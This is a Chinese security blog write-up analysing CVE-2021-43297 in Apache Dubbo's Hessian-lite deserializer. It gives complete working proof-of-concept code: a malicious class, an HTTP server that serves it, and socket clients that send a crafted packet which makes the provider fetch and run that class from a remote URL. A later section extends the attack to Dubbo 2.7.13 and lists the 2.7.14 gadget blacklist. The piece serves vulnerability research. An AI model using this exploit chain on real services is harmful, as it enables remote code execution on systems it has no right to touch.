0 前言
1月15號看到dubbo的CVE-2021-43297通報,收集了一下各種說明,只在阿里雲的通報中發現了一點提示資訊https://help.aliyun.com/document_detail/390205.html
沒有找到相關的poc和原理分析,畢業論文實在寫不下去了,所以想找點樂子,決定搞清楚具體怎麼觸發的該漏洞
1 找源頭
1.1 找到觸發點
根據阿里雲通報的提示,翻了一下apache-dubbo的github,沒有發現有價值的commit,但通報裡寫到是hessian-lite有問題,所以繼續找到hessian-lite的github,終於發現了有用的commit。這個commit註釋寫明刪除了toString呼叫,看一下原始碼
刪除的程式碼中,因為使用了字串拼接,所以obj物件會自動呼叫其toString方法,感覺來了啊:)
先直接給一個結論,這個CVE恐怕主要還是從Hessian2Input.except()->obj.toString觸發的,其它也可以觸發obj.toString()的地方,例如AbstractMapDeserializer#readObject()、AbstractListDeserializer#readObject()、AbstractDeserializer.readObject()、AbstractDeserializer#readMap()和JavaDeserializer#logDeserializeError()並不好構造poc觸發。各種AbstractxxDeserializer的方法都被下面的子類方法覆蓋了並不會被呼叫;而JavaDeserializer#logDeserializeError()是執行value.toString,但反序列化value時呼叫的是readObject(expectClass),會比較反序列化的類與期望類是否相同,如果插入惡意位元組流,則會報錯IOexception,不會執行到value.toString。
1.2 可用的gadget
由於之前搞過dubbo的反序列化,所以對toString方法開始觸發的的gadget還是有記憶。
第一種:JsonObject.toString
https://www.cnblogs.com/bitterz/p/15588955.html
dubbo<=2.7.3時,由於其自帶fastjson<=1.2.46版本,所以可以用JsonObject包裹一個TemplatesImpl物件,該TemplatesImpl的_bytecodes屬性攜帶惡意位元組碼,在惡意位元組碼例項化的過程中實現RCE。但是有版本限制,所以暫時不深入研究。
第二種:ToStringBean.toString
其實是remo呼叫鏈的截斷,這個呼叫鏈可以看我的部落格,或者三夢師傅的github
原理是用ToStringBean物件包裹一個JdbcRowSetImpl物件,在呼叫ToStringBean.toString方法時,會呼叫其所包裹的JdbcRowSetImpl物件的所有getter方法,從而利用JNDI實現RCE。寫了一下poc沒有成功。
第三種:AspectJPointcutAdvisor.toString
其實是SpringAbstractBeanFactoryPointcutAdvisor呼叫鏈的截斷,呼叫鏈過長就不詳細說了。
第四種:ReadOnlyBinding.toString
其實是XBean呼叫鏈的截斷,截斷後的呼叫鏈如下,其實就是利用其toString方法往下呼叫時會用到NamingManager,在NamingManager中會去指定地址下載惡意class檔案,並例項化,最終造成RCE。
at java.lang.Class.newInstance(Class.java:442)
at javax.naming.spi.NamingManager.getObjectFactoryFromReference(NamingManager.java:163)
at javax.naming.spi.NamingManager.getObjectInstance(NamingManager.java:319)
at org.apache.xbean.naming.context.ContextUtil.resolve(ContextUtil.java:73)
at org.apache.xbean.naming.context.ContextUtil$ReadOnlyBinding.getObject(ContextUtil.java:204)
at javax.naming.Binding.toString(Binding.java:192)
其它可能的方法,比如CC鏈中的TiedMapEntry之類的就沒有深究了,精力有限。
1.3 向上推觸發點
最終選用ReadOnlyBinding.toString這個鏈(短一點,比較簡單),前面找到了可用的gadget,那麼obj.toString方法如何才能到達呢,首先找到com.alibaba.com.caucho.hessian.io.Hessian2Input
發現obj拼接在except方法中
並且在執行obj.toString方法前,obj是由Hessian2Input#readObject方法反序列化出來的,那麼可以思考,如果這裡反序列化出來的是惡意ReadOnlyBinding物件,RCE就達成了。藉助IDEA繼續往前推except會在哪裡呼叫
實際上還是Hessian2Input這個類中,跟進一下具體的方法,以readBoolean為例
public boolean readBoolean()
throws IOException {
int tag = _offset < _length ? (_buffer[_offset++] & 0xff) : read();
switch (tag) {
case 'T':
return true;
case 'F':
return false;
case 0x80:
case 0x81:
// 省略了其它case
case 'N':
return false;
default:
throw expect("boolean", tag);
可見,hessian2協議在反序列化布林值時,通過一個給定的tag進行判斷,當tag沒有對應值時,會進入default,從而呼叫except方法。
到這裡也就清晰了,我們可以使用hessian2對某個物件進行序列化,得到一段byte陣列,修改陣列中某個布林值屬性所對應的tag,即可在反序列化布林值時找不到對應的tag,然後進入default,也就是進入except方法,再呼叫obj.toString()從而實現RCE。
2 構造poc
2.1 開啟HttpServer
使用ReadOnlyBinding.toString這個鏈實現RCE,要求開一個http伺服器用於下載惡意class檔案,借用一下三夢師傅的程式碼,並把其中的new File(filePath)
處的filePath改成我的惡意class文級路徑。
2.2 hessian2序列化過程簡述
由於涉及到修改序列化後的資料,所以必須要對序列化過程有一定的掌握(踩過坑,試過不看程式碼直接修改byte陣列,非常困難且容易出錯)
在dubbo中有很多序列化協議,例如fastjson、hessian2和gson等,其中hessian2被設定為預設的反序列化協議。在hessian2序列化的過程中,它會根據不同的類選擇不同的序列化器,在處理某個類的不同屬性時,又會根據其型別選擇序列化器,如此迭代,最終完成序列化。
示例程式碼
// 建立ReadOnlyBinding物件
Context ctx = Reflections.createWithoutConstructor(WritableContext.class);
Reference ref = new Reference("ExecTest", "ExecTest","http://127.0.0.1:8080/");
ContextUtil.ReadOnlyBinding binding = new ContextUtil.ReadOnlyBinding("foo", ref, ctx);
// 接收序列化後的位元組流
ByteArrayOutputStream hessian2ByteArrayOutputStream = new ByteArrayOutputStream();
// 建立hessian2序列化工具
Hessian2Output out = new Hessian2Output(hessian2ByteArrayOutputStream);
// 序列化binding物件
out.writeObject(binding);
跟進Hessian2Output#writeObject方法看看
- com.alibaba.com.caucho.hessian.io.Hessian2Output#writeObject
public void writeObject(Object object) throws IOException
{
if (object == null) {
writeNull();
return;
}
Serializer serializer = findSerializerFactory().getObjectSerializer(object.getClass());
serializer.writeObject(object, this);
}
可以看到,直接從序列化器工廠根據物件型別獲取相應的序列化器。除錯後發現序列化binding物件時使用的是JavaSerializer#writeObject
- com.alibaba.com.caucho.hessian.io.JavaSerializer#writeObject
public void writeObject(Object obj, AbstractHessianOutput out) throws IOException {
// 省略了一點程式碼
Class<?> cl = obj.getClass();
int ref = out.writeObjectBegin(cl.getName()); // 根據物件型別寫入tag,即前面readBoolean方法裡的tag
if (ref < -1) {
// 省略
} else {
if (ref == -1) { // 序列化binding時進入這裡,重點關注這裡
writeDefinition20(out); // 寫入field名字
out.writeObjectBegin(cl.getName()); //
}
writeInstance(obj, out);
}
}
這裡主要是會呼叫三個方法:
- writeObjectBegin,根據型別寫入tag頭,在反序列化時,對應的反序列化器(deserializer)會呼叫反序列化方法(即readBoolean、readString、readInt等),並根據tag直接恢復值(true、false等)或者再次計算後恢復值
- writeDefinition20,遍歷_fields陣列,寫入屬性的名字
class JavaSerializer{
private void writeDefinition20(AbstractHessianOutput out) throws IOException {
out.writeClassFieldLength(_fields.length); // 物件屬性個數
for (int i = 0; i < _fields.length; i++) {
Field field = _fields[i];
out.writeString(field.getName());
}
}
}
- writeInstance,遍歷屬性陣列,寫入每個屬性對應的例項物件
class JavaSerializer{
public void writeInstance(Object obj, AbstractHessianOutput out)
throws IOException {
for (int i = 0; i < _fields.length; i++) {
Field field = _fields[i];
_fieldSerializers[i].serialize(out, obj, field);
}
}
}
其中_fields和_fieldSerializers如下
序列化器遍歷屬性,並寫入位元組流,由於位元組流轉成java中的String顯示有些問題,所以將位元組流轉換十六進位制放到winhex中結果如下:
可見其順序和屬性陣列中的順序一致,而isRelative屬性的值時false,在十六進位制中用46表示,十進位制70,正好是F的ascii。這裡我是把其中的fullName屬性設定為"<<<<<"來定位的。
我們可以假想,現在整個位元組流就是binding物件,只要呼叫binding物件的toString方法即可完成RCE,結合前面1.3說到的,如果我們把位元組流替換到上圖指定的F處,是不是就可以在反序列化過程中,執行readBoolean方法時進入except中呢?確實是的,不過完整的poc還需要組裝一下dubbo資料包頭部
3 poc
- 測試環境
dubbo pom.xml
<dependency>
<groupId>org.apache.dubbo</groupId>
<artifactId>dubbo</artifactId>
<version>2.7.8</version>
</dependency>
<dependency>
<groupId>org.apache.dubbo</groupId>
<artifactId>dubbo-common</artifactId>
<version>2.7.8</version>
</dependency>
<dependency>
<groupId>org.apache.dubbo</groupId>
<artifactId>dubbo-dependencies-zookeeper</artifactId>
<version>2.7.14</version>
<type>pom</type>
</dependency>
<dependency>
<groupId>org.apache.xbean</groupId>
<artifactId>xbean-naming</artifactId>
<version>4.15</version>
</dependency>
IDEA專案 pom.xml
<dependency>
<groupId>org.apache.dubbo</groupId>
<artifactId>dubbo</artifactId>
<version>2.7.3</version>
</dependency>
<dependency>
<groupId>com.caucho</groupId>
<artifactId>hessian</artifactId>
<version>4.0.51</version>
</dependency>
<dependency>
<groupId>org.apache.dubbo</groupId>
<artifactId>dubbo-common</artifactId>
<version>2.7.3</version>
</dependency>
<dependency>
<groupId>org.apache.xbean</groupId>
<artifactId>xbean-naming</artifactId>
<version>4.15</version>
</dependency>
<dependency>
zookeeper 3.3
dubbo+zookeeper環境搭建就不重複寫了,可見https://www.cnblogs.com/bitterz/p/15526206.html 中的2.3節
- 惡意類
需要編譯成class
import java.io.IOException;
public class ExecTest {
public ExecTest() throws IOException {
new java.io.IOException().printStackTrace();
java.lang.Runtime.getRuntime().exec("calc");
}
}
- 啟動HttpServer
需要修改一下程式碼,在new File()中指定惡意class檔案
import com.google.common.io.Files;
import com.sun.net.httpserver.Headers;
import com.sun.net.httpserver.HttpExchange;
import com.sun.net.httpserver.HttpHandler;
import com.sun.net.httpserver.HttpServer;
import com.sun.net.httpserver.spi.HttpServerProvider;
import java.io.BufferedReader;
import java.io.File;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.OutputStream;
import java.net.InetSocketAddress;
import java.util.Iterator;
import java.util.List;
import java.util.Set;
import org.apache.commons.lang3.StringUtils;
/**
* 解析http協議,輸出http請求體
*
* @author xuanyh
*/
public class HTTPServer {
public static String filePath;
public static int PORT = 8080;
public static String contentType;
public static void main(String[] args) throws IOException {
run(args);
}
public static void run(String[] args) {
int port = PORT;
String context = "/";
String clazz = "Calc.class";
if (args != null && args.length > 0) {
port = Integer.parseInt(args[0]);
context = args[1];
clazz = args[2];
}
HttpServerProvider provider = HttpServerProvider.provider();
HttpServer httpserver = null;
try {
httpserver = provider.createHttpServer(new InetSocketAddress(port), 100);
} catch (IOException e) {
e.printStackTrace();
}
//監聽埠8080,
httpserver.createContext(context, new RestGetHandler(clazz));
httpserver.setExecutor(null);
httpserver.start();
System.out.println("server started");
}
static class RestGetHandler implements HttpHandler {
private String clazz;
public RestGetHandler(String clazz) {
this.clazz = clazz;
}
@Override
public void handle(HttpExchange he) throws IOException {
String requestMethod = he.getRequestMethod();
System.out.println(requestMethod + " " + he.getRequestURI().getPath() + (
StringUtils.isEmpty(he.getRequestURI().getRawQuery()) ? ""
: "?" + he.getRequestURI().getRawQuery()) + " " + he.getProtocol());
if (requestMethod.equalsIgnoreCase("GET")) {
Headers responseHeaders = he.getResponseHeaders();
responseHeaders.set("Content-Type", contentType == null ? "application/json" : contentType);
he.sendResponseHeaders(200, 0);
// parse request
OutputStream responseBody = he.getResponseBody();
Headers requestHeaders = he.getRequestHeaders();
Set<String> keySet = requestHeaders.keySet();
Iterator<String> iter = keySet.iterator();
while (iter.hasNext()) {
String key = iter.next();
List values = requestHeaders.get(key);
String s = key + ": " + values.toString();
System.out.println(s);
}
System.out.println();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(he.getRequestBody()));
StringBuilder stringBuilder = new StringBuilder();
String line;
for (;(line = bufferedReader.readLine()) != null;) {
stringBuilder.append(line);
}
System.out.println(stringBuilder.toString());
byte[] bytes = Files.toByteArray(new File("D:\\xxx\\ExecTest.class"));
System.out.println(new String(bytes, 0, bytes.length));
// send response
responseBody.write(bytes);
responseBody.close();
}
}
}
}
- CVE-2021-43297 poc
package com.bitterz.dubbo;
import com.alibaba.com.caucho.hessian.io.Hessian2Output;
import org.apache.dubbo.common.io.Bytes;
import org.apache.xbean.naming.context.ContextUtil;
import org.apache.xbean.naming.context.WritableContext;
import sun.reflect.ReflectionFactory;
import javax.naming.Context;
import javax.naming.Reference;
import java.io.ByteArrayOutputStream;
import java.io.OutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.net.Socket;
import java.util.HashSet;
import java.util.Random;
public class HessianLitePocBack {
public static void main(String[] args) throws Exception {
Context ctx = Reflections.createWithoutConstructor(WritableContext.class);
Reference ref = new Reference("ExecTest", "ExecTest","http://127.0.0.1:8080/");
ContextUtil.ReadOnlyBinding binding = new ContextUtil.ReadOnlyBinding("foo", ref, ctx);
// Field fullName = binding.getClass().getSuperclass().getSuperclass().getDeclaredField("fullName");
// fullName.setAccessible(true);
Reflections.setFieldValue(binding, "fullName", "<<<<<");
// fullName.set(binding, "<<<<<"); // 方便定位屬性值的
//############################################################################################
// 寫入binding
ByteArrayOutputStream binding2bytes = new ByteArrayOutputStream();
Hessian2Output outBinding = new Hessian2Output(binding2bytes);
outBinding.writeObject(binding);
outBinding.flushBuffer();
//############################################################################################
// binding序列化後的byte陣列
byte[] bindingBytes = binding2bytes.toByteArray();
// header.
byte[] header = new byte[16];
// set magic number.
Bytes.short2bytes((short) 0xdabb, header);
// set request and serialization flag.
header[2] = (byte) ((byte) 0x80 | 0x20 | 2);
// set request id.
Bytes.long2bytes(new Random().nextInt(100000000), header, 4);
// 在header中記錄 序列化物件 的長度,因為最後一個F被覆蓋了,所以要-1
Bytes.int2bytes(bindingBytes.length*2-1, header, 12);
// 收集header+binding
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
byteArrayOutputStream.write(header);
byteArrayOutputStream.write(bindingBytes);
byte[] bytes = byteArrayOutputStream.toByteArray();
//############################################################################################
// 組裝payload = header+binding+binding
byte[] payload = new byte[bytes.length + bindingBytes.length -1];
for (int i = 0; i < bytes.length; i++) {
payload[i] = bytes[i];
}
for (int i = 0; i < bindingBytes.length; i++) {
payload[i + bytes.length-1] = bindingBytes[i];
}
//############################################################################################
// 輸出位元組流的十六進位制
for (int i = 0; i < payload.length; i++) {
System.out.print(String.format("%02X", payload[i]) + " ");
if ((i + 1) % 8 == 0)
System.out.print(" ");
if ((i + 1) % 16 == 0 )
System.out.println();
}
System.out.println();
// 輸出byte陣列轉String
System.out.println(new String(payload,0,payload.length));
//todo 此處填寫被攻擊的dubbo服務提供者地址和埠
Socket socket = new Socket("127.0.0.1", 20880);
OutputStream outputStream = socket.getOutputStream();
outputStream.write(payload);
outputStream.flush();
outputStream.close();
System.out.println("\nsend!!");
}
public static class Reflections{
public static void setFieldValue(Object obj, String fieldName, Object fieldValue) throws Exception{
Field field=null;
Class cl = obj.getClass();
while (cl != Object.class){
try{
field = cl.getDeclaredField(fieldName);
if(field!=null){
break;}
}
catch (Exception e){
cl = cl.getSuperclass();
}
}
if (field==null){
System.out.println(obj.getClass().getName());
System.out.println(fieldName);
}
field.setAccessible(true);
field.set(obj,fieldValue);
}
public static <T> T createWithoutConstructor(Class<T> classToInstantiate) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
}
public static <T> T createWithConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
objCons.setAccessible(true);
Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
sc.setAccessible(true);
return (T) sc.newInstance(consArgs);
}
}
}
執行後效果如下
4 總結
- poc經測試後發現,只在apache dubbo<=2.7.8生效,高版本dubbo做了反序列化驗證,如果又其它可用payload或許可用達到apache dubbo<=2.7.14。
- 另外其它從toString呼叫的gadget沒有測試過,或許也可用。
- 由於dubbo的hessian2反序列化過程比較複雜,所以分析較少,但只需要知道每種型別對應不同的read方法即可也可理解(boolean->readBoolean()、int->readInt() )
最後想說,根據漏洞描述直接復現漏洞還是有難度,即使是知道觸發點的情況下還是踩了很多坑,最開始在JavaDeserializer.logDeserializeError這裡被坑了很久,然後是手動修改byte陣列被坑了,最後還是Hessian2Output.writeObject原始碼跟了一下才構建好完整的poc。
以上內容首發於先知社群,後面又研究了一下,發現了可以達到apache dubbo<=2.7.13的poc
5 Dubbo<=2.7.13可用的POC
5.1 原理分析
前面的POC在Dubbo>=2.7.9就失效了,原因在於前面的POC會執行到org.apache.dubbo.rpc.protocol.dubbo.DubboCodec#decodeBody
方法,在該方法中又進一步會執行到下圖這裡
跟進該方法
- org.apache.dubbo.rpc.protocol.dubbo.DubboCodec#decodeEventData
可見bytes陣列長度必須<50,顯然會丟擲錯誤,所以第3節中的poc只能打到2.7.8。
但是我們把目光回到org.apache.dubbo.rpc.protocol.dubbo.DubboCodec#decodeBody
中
protected Object decodeBody(Channel channel, InputStream is, byte[] header) throws IOException {
byte flag = header[2], proto = (byte) (flag & SERIALIZATION_MASK); // SERIALIZATION_MASK = 31
// get request id.
long id = Bytes.bytes2long(header, 4);
if ((flag & FLAG_REQUEST) == 0) { // FLAG_REQUEST = -128
// decode response.
Response res = new Response(id);
if ((flag & FLAG_EVENT) != 0) { // FLAG_EVENT = 32
res.setEvent(true);
}
// get status.
byte status = header[3];
res.setStatus(status);
try {
if (status == Response.OK) { // Response.OK = 20
// 省略
} else {
// 重點在下面兩行
ObjectInput in = CodecSupport.deserialize(channel.getUrl(), is, proto);
res.setErrorMessage(in.readUTF());
}
} catch (Throwable t) {
// 省略
}
return res;
} else {
// 省略
}
}
-
首先通過計算可知,當flag <= 0x20時,proto = flag & SERIALIZATION_MASK = flag,即 0x1f & 31 = 31, 0x02 & 31 = 2
-
再通過計算可知,當flag >= 0x80時,flag & FLAG_REQUEST = 128;當flag<=0x7f時,flag & FLAG_REQUEST = 0
-
繼續通過計算可知,當flag >= 0x20時,flag & FLAG_EVENT = 0;當flag <= 0x1f時,flag & FLAG_EVENT = 0
由於flag=header[2]
,而header正是我們前poc中的hader,也就是說,我們可以控制flag的值!那麼當flag被設定為小於等於0x1f時,就會執行到程式碼註釋中的重點兩行
ObjectInput in = CodecSupport.deserialize(channel.getUrl(), is, proto);
res.setErrorMessage(in.readUTF());
第一行看樣子時根據proto選擇反序列化協議,第二行中呼叫了readUTF方法進行反序列化。
首先跟進第一行,來到 org.apache.dubbo.remoting.transport.CodecSupport#deserialiaze
方法中,這裡proto=31=0x1f
繼續跟進,來到 org.apache.dubbo.remoting.transport.CodecSupport#getSerialization
方法中
繼續跟進,來到org.apache.dubbo.remoting.transport.CodecSupport#getserializationById
方法中
除錯模式下可以直接看到,Hessian2協議的id=2,即0x02,結合前面的三條規則,0x02<0x1f。
回到前面的程式碼中
ObjectInput in = CodecSupport.deserialize(channel.getUrl(), is, proto);
res.setErrorMessage(in.readUTF());
將flag設定為2後,會正確建立hessian2ObjectInput物件。繼續向下執行會首先執行in.readUTF(),除錯跟進該呼叫,結果如下
除錯可見mH2i就是一個Hessian2Input物件,跟進readString方法
這時來到了前面解釋過的except處理節奏了
5.2 可RCE到2.7.13的POC
package com.bitterz.dubbo;
import com.alibaba.com.caucho.hessian.io.Hessian2Output;
import org.apache.dubbo.common.io.Bytes;
import org.apache.xbean.naming.context.ContextUtil;
import org.apache.xbean.naming.context.WritableContext;
import sun.reflect.ReflectionFactory;
import javax.naming.Context;
import javax.naming.Reference;
import java.io.ByteArrayOutputStream;
import java.io.OutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.net.Socket;
import java.util.HashSet;
import java.util.Random;
public class HessianLitePoc {
public static void main(String[] args) throws Exception {
Context ctx = Reflections.createWithoutConstructor(WritableContext.class);
Reference ref = new Reference("ExecTest", "ExecTest","http://127.0.0.1:8080/");
ContextUtil.ReadOnlyBinding binding = new ContextUtil.ReadOnlyBinding("foo", ref, ctx);
// Field fullName = binding.getClass().getSuperclass().getSuperclass().getDeclaredField("fullName");
// fullName.setAccessible(true);
Reflections.setFieldValue(binding, "fullName", "<<<<<");
// fullName.set(binding, "<<<<<"); // 方便定位屬性值的
byte [] heder2 = new byte[]{-38, -69, -30, 0, 0, 0, 0, 0, 0, 0, 0, 3, 0, 0, 0, 1};
//############################################################################################
// 寫入binding
ByteArrayOutputStream binding2bytes = new ByteArrayOutputStream();
Hessian2Output outBinding = new Hessian2Output(binding2bytes);
outBinding.writeObject(binding);
outBinding.flushBuffer();
//############################################################################################
// binding序列化後的byte陣列
byte[] bindingBytes = binding2bytes.toByteArray();
// header.
byte[] header = new byte[16];
// set magic number.
Bytes.short2bytes((short) 0xdabb, header);
// set request and serialization flag.
header[2] = (byte) ((byte) 0x80 | 0x20 | 2);
// set request id.
Bytes.long2bytes(new Random().nextInt(100000000), header, 4);
// 在header中記錄 序列化物件 的長度,因為最後一個F被覆蓋了,所以要-1
Bytes.int2bytes(bindingBytes.length*2-1, header, 12);
// 收集header+binding
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
byteArrayOutputStream.write(header);
byteArrayOutputStream.write(bindingBytes);
byte[] bytes = byteArrayOutputStream.toByteArray();
//############################################################################################
// 組裝payload = header+binding+binding
byte[] payload = new byte[bytes.length + bindingBytes.length -1];
for (int i = 0; i < bytes.length; i++) {
payload[i] = bytes[i];
}
for (int i = 0; i < bindingBytes.length; i++) {
payload[i + bytes.length-1] = bindingBytes[i];
}
//############################################################################################
// 修改flag的值
payload[2] = 0x02;
// 輸出位元組流的十六進位制
for (int i = 0; i < payload.length; i++) {
System.out.print(String.format("%02X", payload[i]) + " ");
if ((i + 1) % 8 == 0)
System.out.print(" ");
if ((i + 1) % 16 == 0 )
System.out.println();
}
System.out.println();
// 輸出byte陣列轉String
System.out.println(new String(payload,0,payload.length));
// System.exit(1);
//todo 此處填寫被攻擊的dubbo服務提供者地址和埠
Socket socket = new Socket("127.0.0.1", 20880);
OutputStream outputStream = socket.getOutputStream();
outputStream.write(payload);
outputStream.flush();
outputStream.close();
System.out.println("\nsend!!");
}
public static class Reflections{
public static void setFieldValue(Object obj, String fieldName, Object fieldValue) throws Exception{
Field field=null;
Class cl = obj.getClass();
while (cl != Object.class){
try{
field = cl.getDeclaredField(fieldName);
if(field!=null){
break;}
}
catch (Exception e){
cl = cl.getSuperclass();
}
}
if (field==null){
System.out.println(obj.getClass().getName());
System.out.println(fieldName);
}
field.setAccessible(true);
field.set(obj,fieldValue);
}
public static <T> T createWithoutConstructor(Class<T> classToInstantiate) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
}
public static <T> T createWithConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
objCons.setAccessible(true);
Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
sc.setAccessible(true);
return (T) sc.newInstance(consArgs);
}
}
}
Apache Dubbo=2.7.13,執行結果如下
Apache Dubbo=2.7.14,執行結果如下
原因在於,2.7.14版本在com.alibaba.com.caucho.hessian.io.ClassFactory
中新增了黑名單,通過包命和類名過濾將要建立的物件,而Hessian2反序列化建立物件時,都需要使用ClassFactory這個工廠類,所以ReadOnlyBinding直接被過濾了。而2.7.15版本則修復了except方法中對obj的拼接。
禁止包命如下
bsh.
ch.qos.logback.core.db.
clojure.
com.alibaba.citrus.springext.support.parser.
com.alibaba.citrus.springext.util.SpringExtUtil.
com.alibaba.druid.pool.
com.alibaba.hotcode.internal.org.apache.commons.collections.functors.
com.alipay.custrelation.service.model.redress.
com.alipay.oceanbase.obproxy.druid.pool.
com.caucho.config.types.
com.caucho.hessian.test.
com.caucho.naming.
com.ibm.jtc.jax.xml.bind.v2.runtime.unmarshaller.
com.ibm.xltxe.rnm1.xtq.bcel.util.
com.mchange.v2.c3p0.
com.mysql.jdbc.util.
com.rometools.rome.feed.
com.sun.corba.se.impl.
com.sun.corba.se.spi.orbutil.
com.sun.jndi.rmi.
com.sun.jndi.toolkit.
com.sun.org.apache.bcel.internal.
com.sun.org.apache.xalan.internal.
com.sun.rowset.
com.sun.xml.internal.bind.v2.
com.taobao.vipserver.commons.collections.functors.
groovy.lang.
java.beans.
java.rmi.server.
java.security.
javassist.bytecode.annotation.
javassist.util.proxy.
javax.imageio.
javax.imageio.spi.
javax.management.
javax.media.jai.remote.
javax.naming.
javax.script.
javax.sound.sampled.
javax.xml.transform.
net.bytebuddy.dynamic.loading.
oracle.jdbc.connector.
oracle.jdbc.pool.
org.apache.aries.transaction.jms.
org.apache.bcel.util.
org.apache.carbondata.core.scan.expression.
org.apache.commons.beanutils.
org.apache.commons.codec.binary.
org.apache.commons.collections.functors.
org.apache.commons.collections4.functors.
org.apache.commons.configuration.
org.apache.commons.configuration2.
org.apache.commons.dbcp.datasources.
org.apache.commons.dbcp2.datasources.
org.apache.commons.fileupload.disk.
org.apache.ibatis.executor.loader.
org.apache.ibatis.javassist.bytecode.
org.apache.ibatis.javassist.tools.
org.apache.ibatis.javassist.util.
org.apache.ignite.cache.
org.apache.log.output.db.
org.apache.log4j.receivers.db.
org.apache.myfaces.view.facelets.el.
org.apache.openjpa.ee.
org.apache.openjpa.ee.
org.apache.shiro.
org.apache.tomcat.dbcp.
org.apache.velocity.runtime.
org.apache.velocity.
org.apache.wicket.util.
org.apache.xalan.xsltc.trax.
org.apache.xbean.naming.context.
org.apache.xpath.
org.apache.zookeeper.
org.aspectj.apache.bcel.util.
org.codehaus.groovy.runtime.
org.datanucleus.store.rdbms.datasource.dbcp.datasources.
org.eclipse.jetty.util.log.
org.geotools.filter.
org.h2.value.
org.hibernate.tuple.component.
org.hibernate.type.
org.jboss.ejb3.
org.jboss.proxy.ejb.
org.jboss.resteasy.plugins.server.resourcefactory.
org.jboss.weld.interceptor.builder.
org.mockito.internal.creation.cglib.
org.mortbay.log.
org.quartz.
org.springframework.aop.aspectj.
org.springframework.beans.factory.
org.springframework.expression.spel.
org.springframework.jndi.
org.springframework.orm.
org.springframework.transaction.
org.yaml.snakeyaml.tokens.
pstore.shaded.org.apache.commons.collections.
sun.rmi.server.
sun.rmi.transport.
weblogic.ejb20.internal.
weblogic.jms.common.
正則匹配
java\lang\ProcessBuilder
java\lang\Runtime
java\util\ServiceLoader
javassist\tools\web\Viewer
org\springframework\beans\BeanWrapperImpl$BeanPropertyHandler
6 再次總結
所給出的poc 實現RCE需要滿足:
-
apache dubbo <= 2.7.13或alibaba dubbo對應版本
-
知道dubbo provider的ip和埠,且可以訪問
-
dubbo provider存在ToStringBean鏈
-
dubbo provider伺服器允許向外HTTP GET請求
投稿文章後再次研究才發現有所不足,和可以改進的地方,學習和研究還需謹慎呀!
最後程式碼放在了我的github倉庫